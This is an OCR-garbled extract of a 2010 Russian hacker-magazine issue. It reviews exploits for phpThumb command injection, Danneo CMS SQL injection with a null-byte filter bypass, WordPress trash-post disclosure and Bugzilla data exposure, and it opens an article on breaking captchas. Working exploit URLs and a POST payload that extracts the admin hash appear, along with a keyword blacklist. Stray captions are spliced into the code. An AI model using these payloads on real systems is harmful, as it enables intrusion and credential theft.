книги хакеры / журнал хакер / 135_Optimized

Результатпроведенияsql инъекциивDanneo CMS

$execfunction($command, $output);

$returnvalue = implode("\n", $output);

break;

case 'shell_exec': ob_start();

$returnvalue = $execfunction($command); ob_end_clean();

break;

}

…

}

Данныйкодвциклеперебираетперечисленныевышесистемные функцииPHP ивыполняетзаданнуюкомандучерезлюбуюдоступную изних(что, кстати, бываетполезно, есливдирективеdisable_functions админыотключиливсе«опасные» функции, кроме, кпримеру, passthru). Каквидно, никакихпроверокнакорректностькомандыприэтомне проводится— онапростопередаетсянаисполнение.

Идемдальше. ТеперьнамнеобходимонайтитакоеместовphpThumb, кудамысможембезбоязненновнедритьсвоипроизвольныекоманды. Такойкодлегконаходитсявphpthumb.class.php:

function ImageMagickThumbnailToGD() {

…

foreach ($this->fltr as $filterkey => $filtercommand) { @list($command, $parameter) = explode('|', $filtercommand, 2);

//параметры, передаваемые ImageMagick switch ($command) {

…

case 'blur':

if ($this->ImageMagickSwitchAvailable('blur')) { @list($radius) = explode('|', $parameter); $radius = ($radius ? $radius : 1);

$commandline .= ' -blur '.$radius; unset($this->fltr[$filterkey]);

}

break;

…

$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__, __LINE__);

$IMresult = phpthumb_functions::SafeExec($commandline );

…

$this->DebugMessage('ImageMagick failed with message ('.trim($IMresult).')', __FILE__, __LINE__);

…

}

ВЗЛОМ

Здесьнамнаиболееважныследующиечасти:

•переменная$radius, котораязатемпередаетсяв$commandline, котораяиявляетсяаргументомдляупомянутойвышеSafeExec();

•функциядлявыводадебаг-информацииDebugMessage() — имен-

носпомощьюнеемысможемувидетьрезультатвыполнениянашей команды.

Итак, параметрыфильтровдляImageMagick передаютсявскриптс помощьюследующегозапроса(примердля«blur"):

site.com/phpThumb.php?fltr[]=blur|5

Дебаг-информациявыводитсянакартинкетак(различныеуровни дебагаот1 до9, насинтересуетпоследний):

http://site.com/phpThumb.php?phpThumbDebug=9

Принимая во внимание тот факт, что упомянутые выше параметры никоим образом не фильтруются, мы можем приступить к конструированию запроса на выполнение произвольных команд в phpThumb.

EXPLOIT Дляэксплуатациибаганамнуженполныйпутьдолюбойкартинки, хранящейсялокальнонасервере. Картинку, ядумаю, тынайдешь ибезмоейпомощи, аполныйпутькнейможноузнатьизтогожедебаг параметра. Итоговыйэксплойтдля*nix можетвыглядетьследующим образом:

http://site.com/phpThumb_1.7.9/phpThumb. php?src=/home/site.com/public_html/kartinka.

SVN проектаgnome-screensaver-svn

jpg&fltr[]=blur|5 -quality 75 -interlace line «/ home/site.com/public_html/kartinka.jpg" jpeg:"/ home/site.com/public_html/kartinka.jpg" ; [ТВОЯ_КОМАНДА] ;&phpThumbDebug=9

Перейдяпоэтомуадресу, тыувидишьсгенереннуюкартинкусрезультатомвыполнениятвоейкоманды. Болееподробныйразборполетов, а такжепримерэксплуатацииподWindows ищинаhttp://snipper.ru/view/8/ phpthumb-179-arbitrary-command-execution-exploit.

TARGETS phpThumb <= 1.7.9

SOLUTION Вкачествевременногорешенияпроблемытыможешь отключитьиспользованиеImageMagick передGD спомощьюдирективы вконфигеphpThumb:

ВЗЛОМ

рованиякавычекбыло«\'», стало«\ "») вследующемзанимпараметре $comtext. Этогоуязвимогокодабылобыдостаточно, еслибынефильтрв

./base/danneo.track.php, который, поидее, долженпресекатьвсеподозрительныезапросыкдвижку:

$baddata = array("UNION", "OUTFILE", "FROM", "SELECT", "WHERE", "SHUTDOWN", "UPDATE", "DELETE", "CHANGE", "MODIFY", "RENAME", "RELOAD", "ALTER", "GRANT", "DROP", "INSERT", "CONCAT", "cmd», "exec",

"--"

…

);

foreach($_REQUEST as $params => $inputdata){ foreach($baddata as $badkey => $badvalue){

if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }

}

}

Еслитызнакомсподшивкой][ запоследниепарулет, то, наверняка, должензнатьотом, чтофункцияereg[i] неравнодушноотноситсяк нулл-байту, такчтоделоостаетсязамалым— внедритьеговнужную намдляинъекциипеременную$comtext, чтобыобойтиданныймер-

зкийфильтр. ВэтомнампоможеткодизядраDanneo, спрятанныйв./ base/danneo.function.php:

if(!ini_get("register_globals") || (@get_cfg_ var('register_globals')==1)){ //@import_request_variables('GPC'); @extract($_COOKIE,EXTR_SKIP); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_REQUEST,EXTR_SKIP);

…

if(get_magic_quotes_gpc()) {

if($_POST) $_POST = stripslashesall($_POST); if($_GET) $_GET = stripslashesall($_GET); if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST); if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);

}

Здесьтыможешьувидеть, чтопривключеннойдирективеmagic_quotes любыеслешивырезаютсяфункциейstripslashesall() (этопроисходитуже послеглобализациипользовательскихпеременных, такчто$comtitle и$comtext всеравноуйдутвSQL-запросужесослешами), такчтонаш нулл-байтбезболезненнопройдетвстроенныйфильтр:)

EXPLOITДляэксплуатациибаганамнеобходимоподготовитьтрипере-

менные:

1.$comname — любыебуквыицифры, 5-10 символов;

2.$comtitle — 254 любыхсимволаплюскавычкавконце(еслижеmagic_ quotes = off, тоставимпростообратныйслеш«\");

3.$comtext/*[NULLBYTE]*/,(SELECTadpwdFROMdn052_adminLIMIT1),1)---

ПосылаемспециальнымобразомсформированныйPOST-пакетксайту- жертве:

comname=lololo&comtitle=[254 символа]'&comtext=/*\ x00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -&id=[ID опроса]&ajax=0&re=comment

Такимобразом, итоговыйSQL-запросбудетвыглядетьследующим образом:

ЗаплаткадлябагавWordPress

INSERT INTO dn052_polling_comment VALUES (NULL,'1','0', '1230987393','lololo','[254 символа]\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

Врезультатетыувидишьхешпароляадминавсвоемкомментарии. Подробностиуязвимостиищипоадресуhttp://www.inj3ct0r.com/ exploits/11004.

TARGETS Danneo CMS <= 0.5.2

SOLUTION Длязакрытияуязвимостипростообновисьдопоследней версиидвижка, скачатькоторыйможнонаофициальномсайтеDanneo CMS http://danneo.com/down/view/CMS.html.

04ОБХОДОГРАНИЧЕНИЙ БЕЗОПАСНОСТИВWORDPRESS

BRIEF Думаю, чтонетсмысларассказыватьтебеотакойпопулярной системеуправленияблогами, какWordPress, поэтомусразуперейдемк делу.

Итак, в2.9 веткедвижкапоявиласьноваяфункциональность— корзина(trash) дляпостов. Тоесть, еслитынаписалкакое-либосообщение, азатемтебезахотелосьегоудалить, ононеудаляется, апопадаетв корзину, причемнасамомблогессылканатакойпостбудетвиднатолько егоавтору.

Уязвимость, найденнаяТомомМаккензииРайаномДьюхестом, заключаетсявтом, чтоудаленныйавторизованныйпользовательслюбыми правамиможетбезпроблемпросматриватьтакиесообщения.

Теперьдавайвзглянемнакодиз./wp-includes/query.php, которыйотвечаетзапросмотрпостов, неимеющихстатус«publish»:

if ( ('publish' != $status) ) {

if ( ! is_user_logged_in() ) {

// User must be logged in to view unpublished

posts.

$this->posts = array(); } else {

if (in_array($status, array('draft', 'pending'))

) {

Изэтогокодавидно, что:

1.Неопубликованныепостымогутпросматриватьтолькоавторизованныеюзеры;

2.Неопубликованнымипостамисчитаютсятолько«draft» и«pending», простатус«trash» разработчикипопростузабыли.

EXPLOIT Подробностиуязвимости, атакжеэксплойт, которыйсамищет trash-постынанужномблогесоткрытойрегистрациейтысможешьнай-

тиворигинальномadvisory поадресуhttp://tmacuk.co.uk/?p=180.

TARGETS WordPress 2.9, 2.9.1

XÀÊÅÐ 04 /135/ 10

SOLUTION Какивсегда, незабывайпросвоевременныеобновления своегоблога— http://wordpress.org/download.

05РАСКРЫТИЕДАННЫХВBUGZILLA

BRIEF

Bugzilla — этоизвестнейшийопенсорсныйбаг-трекер, которыйиспользуетсямножествомпопулярныхпроектов(например, Мозиллой— https://bugzilla.mozilla.org).

Недавновданномдвижкебылиобнаруженысразудвеуязвимости, которыепозволяютудаленномупользователюраскрытьчувствительную информацию.

Перваяуязвимостьзаключаетсявтом, чтопоумолчаниювБагзилленет запретанапросмотрнекоторыхважныхфайловикаталоговспомощьюбанального.htaccess, авторая— втом, чтодвижокнеправильно организуетполитикудоступакбагам, перемещеннымизодногопродукта вдругой.

Смотримфайлprocess_bug.cgi (врайоне249 линии):

foreach my $group (@{$bug->product_obj->groups_valid})

Ошибказаключаетсявтом, «$bug->product_obj" обновляетсядо применениягрупповыхполитикбезопасности, тоестьнаданном этапебагвсеещенеперемещенвновыйпродукт, мытольколишь лишьпроверяемвалидностьстарыхгруппэтогопродукта, ноникакне новых. Такимобразом, всегруппы, которыенеявляютсядоступными длястарогопродукта, игнорируются.

EXPLOIT

Эксплуатация уязвимостей выглядит достаточно тривиально:

1.Просто натравливаем свой браузер на открытые каталоги «CVS/», «contrib/», «docs/en/xml/», «t/" и файл «old-params.txt», в котором может храниться бэкап настроек движка;

2.Еслиприватныйбагпереноситсяизодногопродуктавдругой, при этомодинаковыегруппынеиспользуютсядляобоихпродуктовинеприменяютсяникакиедругиеограничениядлягрупп, тоэтотбагстановится видимымдлявсех(уженастраниценовогопродукта), такчтотылегко сможешьпросмотретьвсюинформациюобагевоткрытомдоступе. Подробное advisory для этих уязвимостей ищи на официальном сайте Багзиллы bugzilla.org/security/3.0.10.

TARGETS

Первыйбаг: Bugzilla < 3.0.11, < 3.2.6, < 3.4.5, <3.5.3 Второйбаг: Bugzilla версийот3.3.1 до3.4.4 и3.5.1, 3.5.2

SOLUTION Все обновления безопасности для Bugzilla качай здесь: http://www.bugzilla.org/download (или просто используй

.htaccess для ограничения доступа к указанным каталогам и файлу и грамотно применяй групповые политики безопасности для своих приватных багов). z

043

Взлом

dvd

Полнуюверсиюразработанныхскриптов, показывающихна примеревзломкапчи xakep.ru, тынайдешь надиске

РАЗБИРАЕМСЯ, КАК ЛОМАЮТ КАПЧИ

В последнее время ни один более или менее популярный сайт не обходится без использовании капчи. Эпоха «Веб 2.0» дала пользователям возможность изменять содержание сайтов, но такую возможность получили и спамеры.

Ручное заполнение форм спамерам экономически невыгодно, поэтому они используют роботов, на пути которых и становится капча. CAPTCHA — Completely Automated Public Turing test

to tell Computers and Humans Apart. Принцип капчи основан на сложности автоматического распознавания искаженного и зашумленного текста.

АДЕКВАТНОСТЬ ЗАЩИТЫ

При выборе капчи стоит исходить из основного правила построения систем безопасности — стоимость взлома не должна превышать стоимость того, что может получить злоумышленник. Однако, в случае с капчей есть две проблемы, не позволяющие нам в полной мере реализовать это правило. Во-первых, чрезмерное усложнение капчи может отпугнуть некоторую часть посетителей сайта, например, если заставлять их вводить код с изображения при добавлении каждого комментария (как это делают некоторые владельцы блогов в LiveJournal). Вторая проблема — «китайцы». В интернете существует несколько сервисов, предлагающих услуги по ручному распознаванию капчей жителями Китая и некоторых других стран, готовых работать за мизерную плату. Часть этих сервисов заявляют, что обладают уникальными технологиями автоматического распознавания образов, однако, при ближайшем рассмотрении такие факты, как задержка в 30 секунд перед отправкой ответа и вероятность распознавания выше 90%, выдают их реальные схемы. Стоимость распознавания 1000 экземпляров начинается от $1, что не так уж и много. Кроме того, существует давно известный способ бесплатного краудсорсин-

га — подстановка капчи, требующей распознавания, на другой ресурс (как правило порно-сайт), пользователи которого, ничего не подозревая, будут вводить код с изображения. Эти факты ограничивают наши

возможности по усложнению защиты.

Говоря об адекватности защиты, стоит разделить спам-роботов на автоматических и полуавтоматических. Автоматические роботы подобно роботам поисковых систем переходят с сайта на сайт и пытаются заполнить и отправить любую форму, которую встретят по пути. Если после отправки формы на странице появляется отправленная информация, форма заносится в список и периодически «спамится». Продвинутые версии таких роботов способны распознавать некоторые виды популярных капч, но большая часть капчей, особенно разработанные для сайта индивидуально, таких роботов успешно останавливают. Собственно, автоматические роботы и являются основной угрозой для подавляющего большинства сайтов. Сайты с большой посещаемостью или хотя бы хорошим рейтингом PageRank могут удостоиться персонального внимания спамеров, что может означать более «тонкую» настройку робота, использование «китайцев» или применение системы распознавания образов, пример которой будет рассмотрен чуть ниже в этой статье.

НЕМНОГО МАТЕМАТИКИ

При распознавании капчи задача состоит не столько в увеличении точности распознавания, как это может показаться на первый взгляд, сколько в минимизации процессорного времени, необходимого для успешного распознавания одного экземпляра. Немногие сайты отслеживают количество неудачных попыток ввода капчи, но в любом случае такие ограничения легко обходятся при использовании нескольких прокси-серверов. Таким образом точность распознавания, равная даже в 1%, может считаться успешной, при условии приемлемого расхода процессорного времени на все 100 попыток. Одна из основных характеристик капчи — количество возможных вариантов ответа. Допустим, наша капча состоит из 6 цифр и символов латинского алфавита в нижнем регистре, тогда количество всех возможных комбинаци й (10 + 26) ^ 6 равно приблизительно 2 млрд., что практически недостижимо для случайного перебора. К сожалению, не все проводят такие расчеты, поэтому периодически появляются капчи, предлагающие ответить, какое животное изображено на картинке, имея при этом всего лишь 10 вариантов ответа. При ручном анализе такого сайта, спамеру будет достаточно указать роботу только один вариант ответа — теория вероятностей сделает все остальное. Сюда же можно отнести и всевозможные арифметические задачи («Сколько будет пять умножить на семь?»), которые легко решаются при помощи регулярных выражений. Однако, для полностью автоматических роботов даже такого вида защиты будет достаточно.

Ещё одно популярное заблуждение создателей капчей: чем сложнее прочитать код человеку, тем сложнее прочитать его роботу. Это заблуждение приводит к появлению капч, которые пользователи с трудом вводят с десятой попытки, но при этом автоматическое распознавание работает на ура. Например, человеку трудно читать светлый шрифт на светлом фоне, а для системы распознавания разница между цветами в один бит так же легко определяется как и визуально заметная разница. Вообще, использование в капче более чем двух цветов практически бесполезно, обратите внимание на капчи крупных сайтов — большая часть из них состоят из темной одноцветной надписи на белом фоне. Это связано с тем,

что наиболее сложной задачей является распознавание текста в самой надписи, а не поиск её местоположения на изображении. Помимо прямой уязвимости, капча может оказаться ненадежной из-за уязвимости в скриптах. Например, самая глупая ошибка — передавать текст капчи в виде параметра к скрипту, который генерирует изображение. Или возможность использовать код с изображения несколько раз в течение какого-то времени.

ПРИМЕР ВЗЛОМА

Итак, лучший способ понять, как оценить надежность капчи — разобрать пример взлома. Выбор пал на капчу сайта xakep.ru, которая используется при регистрации новых пользователей и добавлении комментариев. Код состоит из четырех цифр, что дает нам 10000 вариантов — не так уж и много, но от прямого перебора защитит. Для вывода цифр используется один шрифт, надпись слегка поворачивается в пространстве, но поворот настолько незначительный, что мы не будем принимать его во внимание. «Пиксельный» шум по всему изображению снимается простейшим фильтром по яркости: все пиксели, яркость которых выше некоторого значения, закрашиваются белым цветом, остальные — черным. Такая операция очищает практически весь шум, за исключением отдельных точек, не мешающих дальнейшей обработке. Остается лишь одна проблема — случайно разбросанные линии, которые значительно затрудняют, во-первых, определение позиции надписи, во-вторых, распознавание отдельных цифр. Поставим задачу довести точность распознавания хотя бы до 5% при приемлемых затратах процессорного времени. Такая постановка задачи позволит нам выбрать уязвимость, которая должна встречаться хотя бы в каждой 20-й капче и с большой вероятностью гарантировать нам распознавание. И такая уязвимость есть — на некоторых изображениях линии практически не пересекают цифры и такие изображения встречаются достаточно часто. От этой особенности и будем отталкиваться.

Для работы нам в первую очередь потребуется набор распознанных образцов. Скажем, 100 штук для начала будет достаточно. Для этого придется немного поработать «китайцем», но для упрощения задачи можно написать небольшой скрипт, загружающий изображения с капчами с сервера и формирующий форму, которую нам придется заполнить вручную. Так как мы решили опираться на наименее зашумленные изображения, то в качестве образцов стоит использовать именно их. Итак, через несколько минут скучной работы у нас есть директория, в которой аккуратно сложены файлы с капчами, имена которых соответствуют кодам на изображении (например, 2716.jpg). Для подобных экспериментов лучше всего подходят скриптовые языки, такие как PHP или Python, также может быть полезен Matlab, в котором есть удобные библиотеки для анализа и обработки изображений. Мы будем использовать PHP, в котором все функции для работы с изображениями имеют префикс image, для низкоуровневой работы с пикселями достаточно imagecolorat. Вот, например, фрагмент кода, который формирует маску изображения с темными участками:

class Xakep_CAPTCHA

{

…

// Расстояние между двумя цветами

ВЗЛОМ